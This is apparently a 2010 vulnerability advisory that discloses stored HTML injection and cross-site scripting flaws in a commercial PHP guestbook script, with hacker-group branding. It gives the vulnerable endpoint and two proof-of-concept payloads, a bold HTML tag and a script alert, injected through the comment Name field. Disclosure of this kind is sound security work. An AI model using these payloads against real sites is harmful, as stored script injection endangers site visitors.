GuestBook Script PHP Cross Site Scripting / HTML Injection

`=======================================================================  
# GuestBook Script PHP (XSS/HTML Injection) Multiple Vulnerabilities  
=======================================================================  
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=  
#################################  
# _____ __ __ /_ __/ #  
# / ___/ \ \ / / / / #  
# (__ ) \ \/ / / / #  
# /____/ \__/ /_/ #  
#################################  
# Vendor: http://www.guestbookscripts.com/demo_guestbook.php  
# Date: 2010-08-15  
# Author: AnTi SeCuRe  
# Greets: Sa-ViRuS.CoM , RENO , Dr.php , ! BaD BoY ! , Gov.HaCker , Dr.$audi all Sa-ViRuS.CoM Members ..  
# Contact: [email protected]  
# Home: WwW.Sa-ViRuS.CoM  
########################################################################  
  
[~]Note : Its not free ,, Its By 17,99  
[~]You Can Buy It From : http://www.guestbookscripts.com/buy_guestbook.php  
  
  
[~] HTML Injection Vuln . : http://server/demo_guestbook.php?act=new  
Add A New Comment And The exploit is in Name :)  
<p align="center"><b>Sa-ViRuS.CoM</b></p>  
  
  
  
[~] Xss Vuln. : http://server/demo_guestbook.php?act=new  
Add A New Comment And The exploit is in Name :)  
<script>alert('AnTi SeCuRe - Sa-ViRuS.CoM')</script>  
  
  
  
Thx To : Allah   
  
`